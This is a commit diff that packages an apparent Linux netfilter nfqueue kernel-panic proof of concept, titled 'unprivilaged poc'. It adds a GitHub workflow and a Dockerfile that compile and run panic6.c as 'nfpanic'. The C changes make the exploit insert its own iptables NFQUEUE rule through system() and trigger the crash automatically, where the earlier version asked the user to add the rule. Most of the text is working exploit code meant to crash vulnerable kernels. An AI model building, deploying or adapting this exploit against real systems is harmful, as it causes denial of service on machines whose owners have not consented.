unprivilaged poc

.github/workflows/docker-image.yml

@@ -0,0 +1,53 @@
+name: Create and publish a Docker image
+
+on:
+  release:
+    types:
+      - published
+
+env:
+  REGISTRY: ghcr.io
+  IMAGE_NAME: ${{ github.repository }}
+
+jobs:
+  build-and-push-image:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      packages: write
+
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v3
+
+      - name: Set up QEMU
+        uses: docker/setup-qemu-action@master
+        with:
+          platforms: all
+
+      - name: Set up Docker Buildx
+        id: buildx
+        uses: docker/setup-buildx-action@master
+
+      - name: Log in to the Container registry
+        uses: docker/login-action@v2
+        with:
+          registry: ${{ env.REGISTRY }}
+          username: ${{ github.actor }}
+          password: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Extract metadata (tags, labels) for Docker
+        id: meta
+        uses: docker/metadata-action@v4
+        with:
+          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
+
+      - name: Build and push Docker image
+        uses: docker/build-push-action@v3
+        with:
+          context: .
+          builder: ${{ steps.buildx.outputs.name }}
+          platforms: linux/amd64,linux/arm64
+          push: true
+          tags: ${{ steps.meta.outputs.tags }}
+          labels: ${{ steps.meta.outputs.labels }}

Dockerfile

@@ -0,0 +1,9 @@
+FROM debian
+
+RUN apt-get update
+RUN apt-get install -y libnetfilter-queue-dev libmnl-dev libnfnetlink-dev iptables gcc
+WORKDIR /exploit
+COPY panic6.c panic6.c
+
+RUN cc panic6.c -o nfpanic -lmnl -lnetfilter_queue
+CMD ["./nfpanic"]

panic6.c

@@ -33,6 +33,7 @@ int socket_conn(uint16_t port)
 
     // connect the client socket to server socket
     connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
+	return sockfd;
 }
 
 int main(int argc, char *argv[])
@@ -71,14 +72,17 @@ int main(int argc, char *argv[])
 		perror( "mnl_socket_send" );
 		exit(EXIT_FAILURE);
 	}
-
-	printf("[*] You need to associate to this queue the port 1337: sudo iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
-	puts("Press ENTER to contiune (and panic)");
-	getchar();
+
+	puts("[*] Linking the nfqueue to a real connection through iptables");
+	char cmd[200];
+	sprintf(cmd, "iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
+	if (system(cmd) != 0) {
+		perror( "system" );
+		exit(EXIT_FAILURE);
+	}
 
 	puts("[*] Sending a connection packet to nfqueue");
 	socket_conn(1337);
-
 
 	puts("[*] Waiting for a packet in the nfqueue");
 	if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1) {
@@ -97,8 +101,9 @@ int main(int argc, char *argv[])
 		perror( "mnl_socket_send" );
 		exit(EXIT_FAILURE);
 	}
-	puts("[*] Are you still alive?");
-
+
+	puts("[*] Are you still alive? Probably your kernel is not vulnerable :(");
+	return EXIT_SUCCESS;
 }